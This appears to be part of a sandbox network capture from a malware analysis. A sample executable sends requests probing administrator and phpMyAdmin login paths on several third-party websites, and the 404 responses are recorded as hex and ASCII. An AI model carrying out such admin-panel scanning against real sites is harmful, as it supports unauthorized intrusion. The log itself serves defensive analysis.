2023-11-26 05:59:33 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	57330	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	246	OUT	GET /administrator/index.php HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.linkan-group.com/administrator
2023-11-26 05:59:33 UTC	1080	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 33 2e 31 34 34 31 30 33 32 38 30 37 32 33 33 37 38 32 31 38 30 34 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978373.14410328072337821804Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.1
2023-11-26 05:59:33 UTC	172	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: -scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name=
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f Data Ascii: -party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/
2023-11-26 05:59:33 UTC	189	IN	Data Raw: 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	57373	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	176	OUT	GET /administrator HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	636	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:34 UTC	733	IN	Data Raw: 37 64 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d33<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e Data Ascii: :void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c Data Ascii: !0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 Data Ascii: if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.s
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: [e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e)
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 Data Ascii: ndow.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator i
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 Data Ascii: )}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){le
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 Data Ascii: ;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,cont
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 Data Ascii: i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	57317	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	739	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, ma
2023-11-26 05:59:33 UTC	630	IN	Data Raw: 37 63 62 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c Data Ascii: 7cbb<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://hightideinc.com/xmlrpc.php" /><script type="text/javascript">document.documentElement.cl
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3a 62 28 29 7d 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 65 74 2d 64 69 76 69 2d 75 73 65 72 66 6f 6e 74 73 22 3e 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: cument.getElementsByTagName("body")[0].appendChild(a)};"complete"!==document.readyState?window.addEventListener?window.addEventListener("load",b):window.attachEvent&&window.attachEvent("onload",b):b()}();</script><style id="et-divi-userfonts">@font-face
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 44 69 76 69 20 76 2e 34 2e 32 33 2e 31 22 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 70 2d 62 